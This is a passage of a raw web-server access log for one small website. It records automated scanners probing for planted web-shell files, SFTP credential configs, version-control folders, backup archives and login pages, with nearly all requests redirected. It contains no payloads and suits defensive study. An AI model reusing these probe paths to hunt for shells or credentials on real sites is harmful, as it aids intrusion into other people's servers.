"GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:07 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:07:07 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 20.191.45.212 - - [13/Apr/2025:14:16:07 -0400] "GET / HTTP/1.1" 301 795 "http://www.designpitara.com/" "DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html)" 110.166.71.39 - - [13/Apr/2025:14:16:09 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.153.96.233 - - [13/Apr/2025:14:19:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.84.107.182 - - [13/Apr/2025:14:25:08 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 YaBrowser/16.2.0.3539 Safari/537.36" 40.71.227.106 - - [13/Apr/2025:14:34:49 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:49 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:49 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:50 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:50 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:50 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:50 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:50 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:51 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:51 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:51 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:51 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:51 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:52 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:52 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:52 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:52 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:52 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:53 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:53 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:53 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:53 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:53 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:54 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:54 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:54 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:54 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:54 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:54 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:55 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:55 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:55 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:55 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:56 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:56 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:56 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:56 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:56 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:56 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:57 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:57 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:57 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:57 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:58 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:58 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:58 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:58 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:59 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:59 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:59 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:59 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:34:59 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:35:00 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:35:00 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:35:00 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:35:00 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:35:00 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:35:01 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:35:01 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:35:01 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:35:01 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:35:01 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:35:02 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 40.71.227.106 - - [13/Apr/2025:14:35:02 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 197.146.129.197 - - [13/Apr/2025:14:54:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 34.71.59.138 - - [13/Apr/2025:15:12:58 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 149.202.55.33 - - [13/Apr/2025:15:41:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 18.223.108.59 - - [13/Apr/2025:16:30:35 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 216.244.66.237 - - [13/Apr/2025:16:50:13 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 18.223.108.59 - - [13/Apr/2025:17:01:17 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 93.158.71.185 - - [13/Apr/2025:17:08:39 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.89 Mobile/15E148 Safari/604" 146.247.229.2 - - [13/Apr/2025:17:08:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.89 Mobile/15E148 Safari/604" 188.166.219.31 - - [13/Apr/2025:17:24:32 -0400] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 188.166.219.31 - - [13/Apr/2025:17:24:33 -0400] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 66.249.79.107 - - [13/Apr/2025:17:50:08 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.107 - - [13/Apr/2025:17:50:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 136.0.141.213 - - [13/Apr/2025:18:06:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 136.0.141.213 - - [13/Apr/2025:18:07:25 -0400] "GET /mail HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 136.0.141.213 - - [13/Apr/2025:18:07:34 -0400] "GET /webmail HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 195.20.18.175 - - [13/Apr/2025:18:07:35 -0400] "GET /sites/all/libraries/elfinder/elfinder.html HTTP/1.1" 301 795 "-" "ALittle Client" 136.0.141.213 - - [13/Apr/2025:18:07:45 -0400] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 136.0.141.213 - - [13/Apr/2025:18:07:55 -0400] "GET /signin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 136.0.141.213 - - [13/Apr/2025:18:08:03 -0400] "GET /owa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 136.0.141.213 - - [13/Apr/2025:18:08:08 -0400] "GET /myaccount HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 136.0.141.213 - - [13/Apr/2025:18:08:27 -0400] "GET /account HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 45.135.232.50 - - [13/Apr/2025:18:52:28 -0400] "GET /.svn HTTP/1.1" 403 1242 "-" "python-requests/2.32.3" 110.166.71.39 - - [13/Apr/2025:18:54:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [13/Apr/2025:19:08:11 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:19:08:13 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [13/Apr/2025:19:08:14 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 43.157.180.116 - - [13/Apr/2025:19:27:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.220.154.212 - - [13/Apr/2025:19:28:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:19:33:51 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:19:33:52 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:19:33:52 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:19:33:53 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:19:33:53 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:19:33:53 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:19:33:54 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:19:33:54 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:19:33:54 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [13/Apr/2025:19:33:55 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 74.208.56.36 - - [13/Apr/2025:20:19:19 -0400] "GET /designpitara.zip HTTP/1.1" 301 795 "-" "-" 192.185.2.206 - - [13/Apr/2025:20:19:25 -0400] "GET /designpitara.com.zip HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:27 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:29 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:30 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:30 -0400] "GET /.well-known/acme-challenge/shop.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:31 -0400] "GET /.well-known/acme-challenge/sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:32 -0400] "GET /.well-known/acme-challenge/worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:32 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:33 -0400] "GET /.well-known/afcsthua.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:34 -0400] "GET /.well-known/apap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:34 -0400] "GET /.well-known/awraulub.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:35 -0400] "GET /.well-known/bqdoemhl.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:37 -0400] "GET /.well-known/cihjbmjk.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:38 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:39 -0400] "GET /.well-known/eror.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:40 -0400] "GET /.well-known/esjmskva.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:40 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:41 -0400] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:42 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:43 -0400] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:43 -0400] "GET /.well-known/ktlldmmx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:44 -0400] "GET /.well-known/mfeypwze.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:45 -0400] "GET /.well-known/nzhlgkwk.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:45 -0400] "GET /.well-known/oduexytv.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:46 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:46 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:47 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:48 -0400] "GET /.well-known/tiny.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:49 -0400] "GET /.well-known/worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:50 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:51 -0400] "GET /.well-known/xin1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:51 -0400] "GET /.well-known/zwso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:52 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:53 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:53 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:54 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:54 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:55 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:56 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:56 -0400] "GET /about/sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:57 -0400] "GET /admin HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:58 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:58 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:29:59 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:00 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:00 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:01 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:02 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:02 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:03 -0400] "GET /assets/qvbgifxl.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:04 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:06 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:06 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:07 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:07 -0400] "GET /ccx/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:08 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:09 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:10 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:11 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:11 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:12 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:13 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:14 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:15 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:16 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:18 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:19 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:20 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:21 -0400] "GET /css/access.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:21 -0400] "GET /css/flower.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:22 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:23 -0400] "GET /css/nqfvanbd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:24 -0400] "GET /css/sxo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:24 -0400] "GET /css/uslipjzt.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:25 -0400] "GET /custom-plugin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:26 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:27 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:28 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:28 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:29 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:30 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:30 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:31 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:32 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:32 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:33 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:33 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:34 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:35 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:35 -0400] "GET /home/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:36 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:37 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:37 -0400] "GET /images/mzeogsze.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:38 -0400] "GET /images/wp-ok.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [13/Apr/2025:20:30:38 -0400] "GET 